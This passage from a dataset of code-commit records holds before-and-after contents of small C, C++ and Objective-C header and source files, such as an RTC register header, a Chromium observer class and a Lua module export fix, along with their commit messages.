RTC_DAY\t\t\t(RTC_OFFSET + 4)\n#define RTC_DATE\t\t(RTC_OFFSET + 5)\n#define RTC_MONTH\t\t(RTC_OFFSET + 6)\n#define RTC_YEAR\t\t(RTC_OFFSET + 7)\n\n#define RTC_CENTURY_MASK\t0x3f\n#define RTC_SECONDS_MASK\t0x7f\n#define RTC_DAY_MASK\t\t0x07\n\n\/*\n * Bits in the Control\/Century register\n *\/\n#define RTC_WRITE\t\t0x80\n#define RTC_READ\t\t0x40\n\n\/*\n * Bits in the Seconds register\n *\/\n#define RTC_STOP\t\t0x80\n\n\/*\n * Bits in the Day register\n *\/\n#define RTC_BATT_FLAG\t\t0x80\n#define RTC_FREQ_TEST\t\t0x40\n\n#endif \/* __LINUX_DS1742RTC_H *\/\n","subject":"Add definitions for the Dallas DS1742 RTC \/ non-volatile memory.","message":"Add definitions for the Dallas DS1742 RTC \/ non-volatile memory.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"f24d87c7337579bf4234af5bf89b1f9b17363afc","old_file":"test\/CFrontend\/2007-04-17-ZeroSizeBitFields.c","new_file":"test\/CFrontend\/2007-04-17-ZeroSizeBitFields.c","old_contents":"; PR 1332\n; RUN: %llvmgcc %s -S -o \/dev\/null\n\nstruct Z { int a:1; int :0; int c:1; } z;\n","new_contents":"\/\/ PR 1332\n\/\/ RUN: %llvmgcc %s -S -o \/dev\/null\n\nstruct Z { int a:1; int :0; int c:1; } z;\n","subject":"Use \/\/ not ; since this is C.","message":"Use \/\/ not ; since this is C.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@36219 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm"}
{"commit":"1e7780610468211cceb4483beea45aa7c850834e","old_file":"chrome\/browser\/ui\/views\/toolbar\/wrench_menu_observer.h","new_file":"chrome\/browser\/ui\/views\/toolbar\/wrench_menu_observer.h","old_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n#define CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n\n\/\/ TODO(gbillock): Make this an inner class of WrenchMenu. (even needed?)\nclass WrenchMenuObserver {\n public:\n  \/\/ Invoked when the WrenchMenu is about to be destroyed (from its destructor).\n  virtual void WrenchMenuDestroyed() = 0;\n\n protected:\n  virtual ~WrenchMenuObserver() {}\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n","new_contents":"\/\/ Copyright 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n#define CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n\nclass WrenchMenuObserver {\n public:\n  \/\/ Invoked when the WrenchMenu is about to be destroyed (from its destructor).\n  virtual void WrenchMenuDestroyed() = 0;\n\n protected:\n  virtual ~WrenchMenuObserver() {}\n};\n\n#endif  \/\/ CHROME_BROWSER_UI_VIEWS_TOOLBAR_WRENCH_MENU_OBSERVER_H_\n","subject":"Remove TODO about making WrenchMenuObserver an inner class of WrenchMenu.","message":"Remove TODO about making WrenchMenuObserver an inner class of WrenchMenu.\n\nChromium code style says:\n\"Prefer putting delegate classes in their own header files. Implementors\nof the\ndelegate interface will often be included elsewhere, which will often\ncause more\ncoupling with the header of the main class.\"\n\nhttp:\/\/www.chromium.org\/developers\/coding-style - Code formatting\nsection\n\nBUG=None\nR=sky@chromium.org\nNOTRY=true\n\nReview URL: https:\/\/codereview.chromium.org\/118623003\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@244848 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,jaruba\/chromium.src,Chilledheart\/chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,littlstar\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,hgl888\/chromium-crosswalk,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,ondra-novak\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,patrickm\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,Chilledheart\/chromium,Jonekee\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,Jonekee\/chromium.src,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,jaruba\/chromium.src,ltilve\/chromium,krieger-od\/nwjs_chromium.src,dednal\/chromium.src,PeterWangIntel\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,littlstar\/chromium.src,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,Just-D\/chromium-1,Jonekee\/chromium.src,markYoungH\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,PeterWangIntel\/chromium-crosswalk,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Jonekee\/chromium.src,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk-efl,Chilledheart\/chromium,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,axinging\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,markYoungH\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,littlstar\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,dushu1203\/chromium.src,markYoungH\/chromium.src,markYoungH\/chromium.src,ChromiumWebApps\/chromium,dednal\/chromium.src,ChromiumWebApps\/chromium,anirudhSK\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,anirudhSK\/chromium,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,littlstar\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hgl888\/chromium-crosswalk,chuan9\/chromium-crosswalk,Just-D\/chromium-1,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,axinging\/chromium-crosswalk,littlstar\/chromium.src,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,hgl888\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,bright-sparks\/chromium-spacewalk,ltilve\/chromium,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,jaruba\/chromium.src,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,dednal\/chromium.src,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,Jonekee\/chromium.src,axinging\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,ondra-novak\/chromium.src,Just-D\/chromium-1,jaruba\/chromium.src,Fireblend\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,TheTypoMaster\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,dushu1203\/chromium.src,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,dednal\/chromium.src,chuan9\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium"}
{"commit":"02a90edb5163e2f6cc07573812b10a0c35ac9e1a","old_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_typedefs.h","new_file":"lib\/node_modules\/@stdlib\/strided\/common\/include\/stdlib\/strided_typedefs.h","old_contents":"\/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n\/**\n* Header file containing strided array type definitions.\n*\/\n#ifndef STDLIB_STRIDED_TYPEDEFS_H\n#define STDLIB_STRIDED_TYPEDEFS_H\n\n#include \"strided_nullary_typedefs.h\"\n#include \"strided_unary_typedefs.h\"\n#include \"strided_binary_typedefs.h\"\n#include \"strided_ternary_typedefs.h\"\n#include \"strided_quaternary_typedefs.h\"\n#include \"strided_quinary_typedefs.h\"\n\n#endif \/\/ !STDLIB_STRIDED_TYPEDEFS_H\n","new_contents":"\/**\n* @license Apache-2.0\n*\n* Copyright (c) 2018 The Stdlib Authors.\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n*    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\/\n\n\/**\n* Header file containing strided array type definitions.\n*\/\n#ifndef STDLIB_STRIDED_TYPEDEFS_H\n#define STDLIB_STRIDED_TYPEDEFS_H\n\n\/\/ Note: keep in alphabetical order...\n#include \"strided_binary_typedefs.h\"\n#include \"strided_nullary_typedefs.h\"\n#include \"strided_quaternary_typedefs.h\"\n#include \"strided_quinary_typedefs.h\"\n#include \"strided_ternary_typedefs.h\"\n#include \"strided_unary_typedefs.h\"\n\n#endif \/\/ !STDLIB_STRIDED_TYPEDEFS_H\n","subject":"Sort includes in alphabetical order","message":"Sort includes in alphabetical order\n","lang":"C","license":"apache-2.0","repos":"stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib,stdlib-js\/stdlib"}
{"commit":"9eee01fbf75809926f382627f787b8c1a6427d32","old_file":"include\/truffle.h","new_file":"include\/truffle.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2016, Oracle and\/or its affiliates.\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification, are\n * permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this list of\n * conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice, this list of\n * conditions and the following disclaimer in the documentation and\/or other materials provided\n * with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors may be used to\n * endorse or promote products derived from this software without specific prior written\n * permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS\n * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef TRUFFLE_H\n#define TRUFFLE_H\n\n#if defined(__cplusplus)\nextern \"C\" {\n#endif\n\n#include <stdbool.h>\n\nvoid *truffle_import(const char *name);\nvoid truffle_export(const char *name, void *value);\n\nbool truffle_is_executable(void *object);\nvoid *truffle_execute(void *object, ...);\nvoid *truffle_invoke(void *object, const char *name, ...);\nbool truffle_has_size(void *object);\nvoid *truffle_get_size(void *object);\nbool truffle_is_boxed(void *object);\nvoid *truffle_unbox(void *object);\nbool truffle_is_null(void *object);\nvoid *truffle_read(void *object, void *name);\nvoid truffle_write(void *object, void *name, void *value);\n\n#if defined(__cplusplus)\n}\n#endif\n\n#endif\n","subject":"Define a potential header for interop functions","message":"Define a potential header for interop functions\n","lang":"C","license":"bsd-3-clause","repos":"grimmerm\/sulong,lxp\/sulong,crbb\/sulong,grimmerm\/sulong,grimmerm\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,lxp\/sulong,crbb\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong,lxp\/sulong,lxp\/sulong,grimmerm\/sulong,PrinzKatharina\/sulong"}
{"commit":"187c563b60469d413611bb22cf7613b30087b203","old_file":"src\/core\/include\/mwsrqueue.h","new_file":"src\/core\/include\/mwsrqueue.h","old_contents":"","new_contents":"#pragma once\n\n#include <mutex>\n#include \"throw_assert.h\"\n#include <pair>\n#include <utility>\n\nnamespace Core {\n\n\/\/ Simple multiple writer siingle reader queue implementation with infinite growth\ntemplate <class Collection>\nclass MWSRQueue {\n  public:\n    using T = Collection::value_type;\n    \n    void push_back(T&& it) {\n      {\n        std::unique_lock lock(_mx);\n        coll.push_back(std::move(it));\n      }\n      \n      waitrd.notify_one();\n    }\n    \n    std::pair<bool, T> pop_front() {\n      std::unique_lock lock(_mx);\n      while (!coll.size() && !_killFlag)\n        waitrd.wait(lock);\n      if (_killFlag)\n        return {false, T()};\n      throw_assert(coll.size() > 0, \"There should be at least one element in the queue\");\n      T ret = std::move(coll.front());\n      coll.pop_front();\n      lock.unlock();\n      return {true, std::move(ret)};\n    }\n    \n    void kill() {\n      {\n        std::unique_lock lock(_mx);\n        _killFlag = true;\n      }\n      waitrd.notify_all();\n    }\n    \n  private:\n    std::mutex _mx;\n    std::condition_variable _waitrd;\n    Collection _coll;\n    bool _killFlag = false;\n};\n\n}\n","subject":"Implement a simple queue for network events","message":"Implement a simple queue for network events","lang":"C","license":"apache-2.0","repos":"RavenX8\/osIROSE-new,dev-osrose\/osIROSE-new,dev-osrose\/osIROSE-new,dev-osrose\/osIROSE-new,RavenX8\/osIROSE-new,RavenX8\/osIROSE-new"}
{"commit":"4373f87d58c5761ff0a9199741f0d8de4aa2b7a3","old_file":"Chapter1\/temperatures.c","new_file":"Chapter1\/temperatures.c","old_contents":"#include <stdio.h>\n\n\/* print Fahrenheit-Celsius table\n   for fahr = 0, 20, ..., 300\n*\/\n\nint main(void)\n{\n  float fahr, celsius;\n  int lower, upper, step;\n\n  lower = 0;    \/\/ lower limit of temperature table\n  upper = 300;   \/\/ upper limit\n  step = 20;    \/\/ step size\n\n  printf(\"Fahrenheit-Celsius Table\\n\\n\");\n\n  fahr = lower;\n  while (fahr <= upper) {\n    celsius = (5.0\/9.0) * (fahr-32.0);\n    printf(\"%3.0f %6.1f\\n\", fahr, celsius);\n    fahr = fahr + step;\n  }\n}","new_contents":"#include <stdio.h>\n\n\/* print Fahrenheit-Celsius table\n   for fahr = 0, 20, ..., 300\n*\/\n\n\/\/ int main(void)\n\/\/ {\n\/\/   float fahr, celsius;\n\/\/   int lower, upper, step;\n\n\/\/   lower = 0;    \/\/ lower limit of temperature table\n\/\/   upper = 300;   \/\/ upper limit\n\/\/   step = 20;    \/\/ step size\n\n\/\/   printf(\"Fahrenheit-Celsius Table\\n\\n\");\n\n\/\/   fahr = lower;\n\/\/   while (fahr <= upper) {\n\/\/     celsius = (5.0\/9.0) * (fahr-32.0);\n\/\/     printf(\"%3.0f %6.1f\\n\", fahr, celsius);\n\/\/     fahr = fahr + step;\n\/\/   }\n\/\/ }\n\nint main(void)\n{\n  for(int fahr = 0; fahr <= 300; fahr = fahr + 20)\n  {\n    printf(\"%3d %6.1f\\n\", fahr, (5.0\/9.0) * (fahr-32));\n  }\n}","subject":"Implement temperature program with a for loop","message":"Implement temperature program with a for loop\n","lang":"C","license":"mit","repos":"Kunal57\/C_Problems,Kunal57\/C_Problems"}
{"commit":"a1ec514adc224359043f267df88bf3dc07acb6b3","old_file":"lcm-lua\/init.c","new_file":"lcm-lua\/init.c","old_contents":"#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include \"lua.h\"\n#ifdef __cplusplus\n}\n#endif\n\n#include \"lualcm_lcm.h\"\n#include \"lualcm_hash.h\"\n#include \"lualcm_pack.h\"\n\nint luaopen_lcm_lcm(lua_State* L) {\n  ll_lcm_makemetatable(L);\n  ll_lcm_register_new(L);\n\n  return 1;\n}\n\nint luaopen_lcm__hash(lua_State* L) {\n  ll_hash_makemetatable(L);\n  ll_hash_register_new(L);\n\n  return 1;\n}\n\nint luaopen_lcm__pack(lua_State* L) {\n  ll_pack_register(L);\n\n  return 1;\n}\n\nint luaopen_lcm(lua_State* L) {\n  lua_newtable(L);\n\n  lua_pushstring(L, \"lcm\");\n  luaopen_lcm_lcm(L);\n  lua_rawset(L, -3);\n\n  lua_pushstring(L, \"_hash\");\n  luaopen_lcm__hash(L);\n  lua_rawset(L, -3);\n\n  lua_pushstring(L, \"_pack\");\n  luaopen_lcm__pack(L);\n  lua_rawset(L, -3);\n\n  return 1;\n}\n","new_contents":"#ifdef __cplusplus\nextern \"C\" {\n#endif\n#include \"lua.h\"\n#ifdef __cplusplus\n}\n#endif\n\n#include \"lualcm_lcm.h\"\n#include \"lualcm_hash.h\"\n#include \"lualcm_pack.h\"\n\nint luaopen_lcm_lcm(lua_State* L) {\n  ll_lcm_makemetatable(L);\n  ll_lcm_register_new(L);\n\n  return 1;\n}\n\nint luaopen_lcm__hash(lua_State* L) {\n  ll_hash_makemetatable(L);\n  ll_hash_register_new(L);\n\n  return 1;\n}\n\nint luaopen_lcm__pack(lua_State* L) {\n  ll_pack_register(L);\n\n  return 1;\n}\n\n#if defined(_WIN32)\n__declspec(dllexport)\n#elif __GNUC__ >= 4 || defined(__clang__)\n__attribute__((visibility (\"default\")))\n#endif\nint luaopen_lcm(lua_State* L) {\n  lua_newtable(L);\n\n  lua_pushstring(L, \"lcm\");\n  luaopen_lcm_lcm(L);\n  lua_rawset(L, -3);\n\n  lua_pushstring(L, \"_hash\");\n  luaopen_lcm__hash(L);\n  lua_rawset(L, -3);\n\n  lua_pushstring(L, \"_pack\");\n  luaopen_lcm__pack(L);\n  lua_rawset(L, -3);\n\n  return 1;\n}\n","subject":"Fix export decoration of Lua module","message":"Fix export decoration of Lua module\n\nAdd missing export decoration for Lua module entry point. This fixes the\nLua module that stopped working when ELF hidden visibility was enabled.\n(I'm not sure about Windows, as I don't have Lua on Windows, but I\nsuspect it never worked on Windows.)\n","lang":"C","license":"lgpl-2.1","repos":"lcm-proj\/lcm,adeschamps\/lcm,adeschamps\/lcm,bluesquall\/lcm,lcm-proj\/lcm,adeschamps\/lcm,bluesquall\/lcm,lcm-proj\/lcm,adeschamps\/lcm,adeschamps\/lcm,lcm-proj\/lcm,bluesquall\/lcm,adeschamps\/lcm,lcm-proj\/lcm,adeschamps\/lcm,lcm-proj\/lcm,lcm-proj\/lcm,bluesquall\/lcm,adeschamps\/lcm,bluesquall\/lcm,lcm-proj\/lcm,bluesquall\/lcm,bluesquall\/lcm"}
{"commit":"a34e8ff7a88128234c647074f588ea87435a9fd9","old_file":"PhotoWheel\/SendEmailController.h","new_file":"PhotoWheel\/SendEmailController.h","old_contents":"\/\/\n\/\/  SendEmailController.h\n\/\/  PhotoWheel\n\/\/\n\/\/  Created by Kirby Turner on 12\/11\/12.\n\/\/  Copyright (c) 2012 White Peak Software Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MessageUI\/MessageUI.h>\n#import <MessageUI\/MFMailComposeViewController.h>\n\n\n@protocol SendEmailControllerDelegate;\n\n\n@interface SendEmailController : NSObject <MFMailComposeViewControllerDelegate>\n\n@property (nonatomic, strong) UIViewController<SendEmailControllerDelegate> *viewController;\n@property (nonatomic, strong) NSSet *photos;\n\n\n- (id)initWithViewController:(UIViewController<SendEmailControllerDelegate> *)viewController;\n- (void)sendEmail;\n\n+ (BOOL)canSendMail;\n\n@end\n\n\n@protocol SendEmailControllerDelegate <NSObject>\n@required\n- (void)sendEmailControllerDidFinish:(SendEmailController *)controller;\n@end\n","new_contents":"\/\/\n\/\/  SendEmailController.h\n\/\/  PhotoWheel\n\/\/\n\/\/  Created by Kirby Turner on 12\/11\/12.\n\/\/  Copyright (c) 2012 White Peak Software Inc. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import <MessageUI\/MessageUI.h>\n#import <MessageUI\/MFMailComposeViewController.h>\n\n\n@protocol SendEmailControllerDelegate;\n\n\n@interface SendEmailController : NSObject <MFMailComposeViewControllerDelegate>\n\n@property (nonatomic, weak) UIViewController<SendEmailControllerDelegate> *viewController;\n@property (nonatomic, strong) NSSet *photos;\n\n\n- (id)initWithViewController:(UIViewController<SendEmailControllerDelegate> *)viewController;\n- (void)sendEmail;\n\n+ (BOOL)canSendMail;\n\n@end\n\n\n@protocol SendEmailControllerDelegate <NSObject>\n@required\n- (void)sendEmailControllerDidFinish:(SendEmailController *)controller;\n@end\n","subject":"Change from strong to weak.","message":"Change from strong to weak.\n","lang":"C","license":"mit","repos":"kirbyt\/PhotoWheel,kirbyt\/PhotoWheel"}
{"commit":"48690020234cdbfc29eeff7c466540cdb81ac4ea","old_file":"SRC\/GEP\/TestData.h","new_file":"SRC\/GEP\/TestData.h","old_contents":"#ifndef TESTDATA_H\n#define TESTDATA_H\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Headers\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n#include \"Node.h\"\n#include <vector>\n\nnamespace GEP\n{\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ \\brief TestData is data to test expression and calculate fitness.\n\/\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nstruct TestData\n{\n    std::vector<float>  variable;\n    int                 result;\n};\n\nfloat CalculFitnessFrom(TestData & testData,PtrNode root);\n\n} \/\/ namespace GEP\n#endif \/\/ TESTDATA_H\n","new_contents":"#ifndef TESTDATA_H\n#define TESTDATA_H\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 